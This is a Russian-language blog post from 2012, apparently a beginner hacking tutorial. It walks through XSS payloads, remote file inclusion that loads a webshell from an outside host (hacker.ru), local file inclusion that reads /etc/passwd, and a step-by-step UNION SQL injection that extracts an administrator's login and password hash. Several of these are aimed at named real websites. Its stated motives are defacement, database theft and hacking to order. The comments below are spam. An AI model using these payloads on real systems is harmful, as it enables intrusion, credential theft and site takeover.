[XTRM ]
Главная » 2012 » Июнь » 3 » Взлом сайтов, второй способ
23:45
Взлом сайтов, второй способ

Рассмотрим основные мотивы: 
1. Изменения главной странички ради удовольствия && мести. Это называется «дефейс» сайта 
2. Воровство базы данных - это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база 
3. Взлом производиться ради повышения прав на сервере. 

Теперь поговорим о скрипт кидди 
Скрипт кидди - это люди, как правило не слишком разбирающихся в хаке и программировании. 
Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее. 
Так как же они взламывают? Они попросту используют чужие наработки. 
Допустим скрипт кидди нужно взломать один форум. Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее. 
Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты. 
Либо второй вариант - для развлечения - скрипт кидди опять же идет на багтрак и выбирает уязвимость. Например, он выбирает сплоит для CMS php nuke 7.0. 
Далее он идет в поисковик и делает следущюий запрос: 
site: php nuke 7.0 - этим он получит список сайтов с установленной CMS Nuke 
Далее он просто использует эксплоит. Это кстати называется гугл хакинг. 
Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше, а некоторые останавливаются на этом. 

Какие бывают уязвимости? 
Три самых тривиальных уязвимости это: xss, sql injection, php include. 
В каждом уроке я буду рассказывать понемногу про каждую из них. 
Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости. 

XSS 
Цель у этой уязвимости одна - украсть Cookes файлы. 
Итак, сначала из за чего появляются Xss 
Происходит все это из-за отсутствия фильтрации входящих данных 
Разберем сразу на примере: 
www.atlant.ws Справа мы видим текстовое поля для поиска. Попробуем ввести простой html тег <hr> 
И мы увидим линию (в HTML этот тег означает провести линию) 
В адресной строке мы видим: 
http://www.atlant.ws/?set=search&www=false&query=<hr> 
Значит данные передаются GET запросом. 
Но от обычного тега опасности никакой. Попробуем ввести простенький javascript сценарий. 
http://www.atlant.ws/?set=search&www=false&query=<script>alert('xss');<script> 
Опа. Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение. 
Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код. В нашем случае нужно передать его в переменную запроса (q) 
Кроме пассивных xss существует активные. 
Опять же пример: 
http://www.addtop.ru/kom.php?id=32 
Вводим в комментарии скрипт 
<script>alert('xss');</script> 
И отправляем его. 
Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его. 
Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти. 
А в активке нужно, что бы пользователь попросту посетил страницу, в которой уже заключен наш код. 
Пока про xss все. Не хочу нагружать тебя информацией. Попробуй поискать активные и пассивные xss. 
Так же советую хорошенько изучить, что такое Cookes. В следующем уроке мы разберем, как их воровать. И зачем. 
В конце статьи я приведу несколько полезный ссылок на эту тему. 

PHP include 
Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл. 
Разберем сначала, что такое веб шелл. 
Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе. 
В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл. 
Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость 

Видим на сайте такой url: 
www.site.ru?page=home.html 
Это значит, что на страничку подгружается файл home.html 
А что если попробовать подгузить свой файл? Например, так: 
www.site.ru?page=http:/hacker.ru/webshell.php 
Так мы пробуем загрузить веб шелл на сайт. 
Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан. 
Это называется удаленный инклуд. Удаленный потому что нам удалось загрузить скрипт с другого сервера. 
Кроме удаленных, инклуды бывают локальные. 
В этом случае мы сможем только читать файлы на сервере. 
Например, сейчас мы попробуем прочитать файл с именами пользователей системы: 
www.site.ru?page=/etc/passwd 
Вот, опять же попробуй поискать php include. Советую воспользоваться google: 
Inurl:page= 
Такой запрос покажет нам сайты, в урле которых присутствует строка "page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим 
Кстати если найдешь php инклуд, то можно получить xss вот так: 
www.site.ru?page=<script>alert('xss')</script> 
Это работает во многих случаях. 
В следующем уроке я расскажу о том: почему происходит php include, что такое null byte и трудности при чтении файлов. 

SQL Injection 
Очень распространенная уязвимость. Суть ее использования заключается в том, что бы вытащить необходимую нам информацию из базы данных. Обычно этими данными является логин и пароль администратора сайта. 
Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы 
Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по-своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение. Например: 
http://www.descom.ch/main.php?id=18646644 
Что бы проверить параметр на sql injection обычно подставляют кавычку 
http://www.descom.ch/main.php?id=18646644' либо другие левые символы 
Видим ошибку. Понимаем что это mysql.

Цитата:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19



Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны (т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by. 
http://www.descom.ch/main.php?id=18646644’+order+by+10/* 
Вывод то же самый, значит полей меньше 
http://www.descom.ch/main.php?id=18646644+order+by+7/* 
Да. Вывод изменился. Значит полей 7. 
Теперь нужно получить читабельные поля. http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,6,7/* 
Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select 
У нас есть колонки. Теперь нужно получить информация о базе. 
http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version(),5,6,7/* 
Видим что mysql v5 - - В этой версии есть кое какие особенности при взломе, но пока разбирать это не будем и попробуем просто подобрать таблицу. 
Делается это так: 
http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version(),5,6,7/+from+таблица/* 
таблицу нам нужно подобрать самим. 
В нашем случае мне удалось узнать, что имя таблицы user. Теперь можно приступить к выводу информации. Нам нужно достать логин и пароль. 
Попробуем: 
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/* 
И у нас на экране логин и хеш пароля администратора. 
Вот таким не хитрым образом удалось поломать базу. 
Кстати здесь тоже имеет место xss: 
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,<script>alert(/xss/)</script>,5,6,7/* 

Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию, что бы немного вас завлечь. В следуюих уроках 
я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ. Так что желательно подучить php и mysql 

Парочка способов загрузить веб шелл 
Как ты наверное уже понял главное это веб шелл. Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ
На множестве сайтов присутствует возможность загрузки каких либо файлов. Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл. Но не все так просто. Иногда скрипт проверяет разрешение. 
Допустим нам можно загрузить картинку. Но если вместо нее мы попытаемся залить файл webshell.php. Но скрипт может проверить разрешение и запретить загрузку. 

Термины 
Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи: 
Дефейс - замена страницы сайта на свою либо редактирование страницы под собственные нужны. Например "Hacked by вася" 
CMS, движок-двиг - система управления сайтом. 
Эксплоит - сплоит -exploit-xploit - программа автоматически реализующая какую либо уязвимость. По сути, сплоит можно написать почти на любом язык программирования 
Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для: 
аутентификации пользователя. Если мы украдем «Куки» администратора сайта и заменим их на свои, то без проблем сможем аутентифицироваться как админ. 
bugtraq-багтрак - Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении. 
Google hacking - гугл хакинг - Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте.

 

Прикрепления: Картинка 1
Просмотров: 1204 | Добавил: Juicy | Теги: защита сайта от взлома, взлом сайта, взломали сайт, взлом сайтов, попытка взлома | Рейтинг: 5.0/4
Всего комментариев: 4
4  
Пришло мне сообщение от Moderator, посмеялась:
Короче только у нас выгодное предложение на рынке "Быстрая смерть" http://i2h.de/hC653 - http://i2h.de/hC653

3  
Всё для моибльных устройсть на моём сайте http://automatic-drivers.pp.ua/emulyator-gba-dlya-telefona-skachat.html - тут, зацените народ!

2  
эт статья была написана ещё 2008 году
не парте се мозг

1  
http://www.homecredit.ru/img/logo_new.png
Оформление заявки на кредитную карту.
Описание программы:
Три шага до ваших покупок:
Заполните он-лайн заявку на сайте Банка или посетите ближайший банковский офис
Получите одобрение Банка и заключите договор в ближайшем банковском офисе
В течение 30 минут получите готовую к использованию карту и стартуйте за покупками!

Преимущества:
Нет задолженности – нет оплаты
Оформление и выдача — 30 минут
Всего 2 документа
Возобновляемый кредитный лимит —
до 200 000 рублей
Комиссия за обслуживание лимита — 0 рублей
Льготный период — до 51 дня
Для оформления заявки перейдите на наш сайте.
http://c.cpa1.ru/3auX/banking - http://www.homecredit.ru/creditcard_zn.php

Имя *:
Email *:
Код *: